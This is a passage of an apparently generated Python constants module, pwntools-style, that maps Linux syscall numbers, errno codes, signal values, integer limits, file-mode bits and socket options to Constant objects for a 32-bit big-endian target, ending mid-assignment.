Constant('__NR_gettimeofday',169)\n__NR_settimeofday = Constant('__NR_settimeofday',170)\n__NR_adjtimex = Constant('__NR_adjtimex',171)\n__NR_getpid = Constant('__NR_getpid',172)\n__NR_getppid = Constant('__NR_getppid',173)\n__NR_getuid = Constant('__NR_getuid',174)\n__NR_geteuid = Constant('__NR_geteuid',175)\n__NR_getgid = Constant('__NR_getgid',176)\n__NR_getegid = Constant('__NR_getegid',177)\n__NR_gettid = Constant('__NR_gettid',178)\n__NR_sysinfo = Constant('__NR_sysinfo',179)\n__NR_mq_open = Constant('__NR_mq_open',180)\n__NR_mq_unlink = Constant('__NR_mq_unlink',181)\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',182)\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',183)\n__NR_mq_notify = Constant('__NR_mq_notify',184)\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',185)\n__NR_msgget = Constant('__NR_msgget',186)\n__NR_msgctl = Constant('__NR_msgctl',187)\n__NR_msgrcv = Constant('__NR_msgrcv',188)\n__NR_msgsnd = Constant('__NR_msgsnd',189)\n__NR_semget = Constant('__NR_semget',190)\n__NR_semctl = Constant('__NR_semctl',191)\n__NR_semtimedop = Constant('__NR_semtimedop',192)\n__NR_semop = Constant('__NR_semop',193)\n__NR_shmget = Constant('__NR_shmget',194)\n__NR_shmctl = Constant('__NR_shmctl',195)\n__NR_shmat = Constant('__NR_shmat',196)\n__NR_shmdt = Constant('__NR_shmdt',197)\n__NR_socket = Constant('__NR_socket',198)\n__NR_socketpair = Constant('__NR_socketpair',199)\n__NR_bind = Constant('__NR_bind',200)\n__NR_listen = Constant('__NR_listen',201)\n__NR_accept = Constant('__NR_accept',202)\n__NR_connect = Constant('__NR_connect',203)\n__NR_getsockname = Constant('__NR_getsockname',204)\n__NR_getpeername = Constant('__NR_getpeername',205)\n__NR_sendto = Constant('__NR_sendto',206)\n__NR_recvfrom = Constant('__NR_recvfrom',207)\n__NR_setsockopt = Constant('__NR_setsockopt',208)\n__NR_getsockopt = Constant('__NR_getsockopt',209)\n__NR_shutdown = Constant('__NR_shutdown',210)\n__NR_sendmsg = Constant('__NR_sendmsg',211)\n__NR_recvmsg = Constant('__NR_recvmsg',212)\n__NR_readahead = Constant('__NR_readahead',213)\n__NR_brk = Constant('__NR_brk',214)\n__NR_munmap = Constant('__NR_munmap',215)\n__NR_mremap = Constant('__NR_mremap',216)\n__NR_add_key = Constant('__NR_add_key',217)\n__NR_request_key = Constant('__NR_request_key',218)\n__NR_keyctl = Constant('__NR_keyctl',219)\n__NR_clone = Constant('__NR_clone',220)\n__NR_execve = Constant('__NR_execve',221)\n__NR3264_mmap = Constant('__NR3264_mmap',222)\n__NR3264_fadvise64 = Constant('__NR3264_fadvise64',223)\n__NR_swapon = Constant('__NR_swapon',224)\n__NR_swapoff = Constant('__NR_swapoff',225)\n__NR_mprotect = Constant('__NR_mprotect',226)\n__NR_msync = Constant('__NR_msync',227)\n__NR_mlock = Constant('__NR_mlock',228)\n__NR_munlock = Constant('__NR_munlock',229)\n__NR_mlockall = Constant('__NR_mlockall',230)\n__NR_munlockall = Constant('__NR_munlockall',231)\n__NR_mincore = Constant('__NR_mincore',232)\n__NR_madvise = Constant('__NR_madvise',233)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',234)\n__NR_mbind = Constant('__NR_mbind',235)\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',236)\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',237)\n__NR_migrate_pages = Constant('__NR_migrate_pages',238)\n__NR_move_pages = Constant('__NR_move_pages',239)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',240)\n__NR_perf_event_open = Constant('__NR_perf_event_open',241)\n__NR_accept4 = Constant('__NR_accept4',242)\n__NR_recvmmsg = Constant('__NR_recvmmsg',243)\n__NR_arch_specific_syscall = Constant('__NR_arch_specific_syscall',244)\n__NR_wait4 = Constant('__NR_wait4',260)\n__NR_prlimit64 = Constant('__NR_prlimit64',261)\n__NR_fanotify_init = Constant('__NR_fanotify_init',262)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',263)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',264)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',265)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',266)\n__NR_syncfs = Constant('__NR_syncfs',267)\n__NR_setns = Constant('__NR_setns',268)\n__NR_sendmmsg = Constant('__NR_sendmmsg',269)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',270)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',271)\n__NR_kcmp = Constant('__NR_kcmp',272)\n__NR_finit_module = Constant('__NR_finit_module',273)\n__NR_sched_setattr = Constant('__NR_sched_setattr',274)\n__NR_sched_getattr = Constant('__NR_sched_getattr',275)\n__NR_renameat2 = Constant('__NR_renameat2',276)\n__NR_seccomp = Constant('__NR_seccomp',277)\n__NR_getrandom = Constant('__NR_getrandom',278)\n__NR_memfd_create = Constant('__NR_memfd_create',279)\n__NR_bpf = Constant('__NR_bpf',280)\n__NR_execveat = Constant('__NR_execveat',281)\n__NR_userfaultfd = Constant('__NR_userfaultfd',282)\n__NR_membarrier = Constant('__NR_membarrier',283)\n__NR_mlock2 = Constant('__NR_mlock2',284)\n__NR_copy_file_range = Constant('__NR_copy_file_range',285)\n__NR_preadv2 = Constant('__NR_preadv2',286)\n__NR_pwritev2 = Constant('__NR_pwritev2',287)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',288)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',289)\n__NR_pkey_free = Constant('__NR_pkey_free',290)\n__NR_statx = Constant('__NR_statx',291)\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',292)\n__NR_rseq = Constant('__NR_rseq',293)\n__NR_kexec_file_load = Constant('__NR_kexec_file_load',294)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',425)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',426)\n__NR_io_uring_register = Constant('__NR_io_uring_register',427)\n__NR_open_tree = Constant('__NR_open_tree',428)\n__NR_move_mount = Constant('__NR_move_mount',429)\n__NR_fsopen = Constant('__NR_fsopen',430)\n__NR_fsconfig = Constant('__NR_fsconfig',431)\n__NR_fsmount = Constant('__NR_fsmount',432)\n__NR_fspick = Constant('__NR_fspick',433)\n__NR_pidfd_open = Constant('__NR_pidfd_open',434)\n__NR_clone3 = Constant('__NR_clone3',435)\n__NR_close_range = Constant('__NR_close_range',436)\n__NR_openat2 = Constant('__NR_openat2',437)\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438)\n__NR_faccessat2 = Constant('__NR_faccessat2',439)\n__NR_process_madvise = Constant('__NR_process_madvise',440)\n__NR_epoll_pwait2 = Constant('__NR_epoll_pwait2',441)\n__NR_mount_setattr = Constant('__NR_mount_setattr',442)\n__NR_quotactl_fd = Constant('__NR_quotactl_fd',443)\n__NR_landlock_create_ruleset = Constant('__NR_landlock_create_ruleset',444)\n__NR_landlock_add_rule = Constant('__NR_landlock_add_rule',445)\n__NR_landlock_restrict_self = Constant('__NR_landlock_restrict_self',446)\n__NR_process_mrelease = Constant('__NR_process_mrelease',448)\n__NR_futex_waitv = Constant('__NR_futex_waitv',449)\n__NR_set_mempolicy_home_node = Constant('__NR_set_mempolicy_home_node',450)\n__NR_cachestat = Constant('__NR_cachestat',451)\n__NR_fchmodat2 = Constant('__NR_fchmodat2',452)\n__NR_map_shadow_stack = Constant('__NR_map_shadow_stack',453)\n__NR_futex_wake = Constant('__NR_futex_wake',454)\n__NR_futex_wait = Constant('__NR_futex_wait',455)\n__NR_futex_requeue = Constant('__NR_futex_requeue',456)\n__NR_fcntl = Constant('__NR_fcntl',25)\n__NR_statfs = Constant('__NR_statfs',43)\n__NR_fstatfs = Constant('__NR_fstatfs',44)\n__NR_truncate = Constant('__NR_truncate',45)\n__NR_ftruncate = Constant('__NR_ftruncate',46)\n__NR_lseek = Constant('__NR_lseek',62)\n__NR_sendfile = Constant('__NR_sendfile',71)\n__NR_mmap = Constant('__NR_mmap',222)\n__NR_fadvise64 = Constant('__NR_fadvise64',223)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',4321)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',4321)\n__WORDSIZE = Constant('__WORDSIZE',32)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647)))\nINTPTR_MAX = Constant('INTPTR_MAX',(2147483647))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = 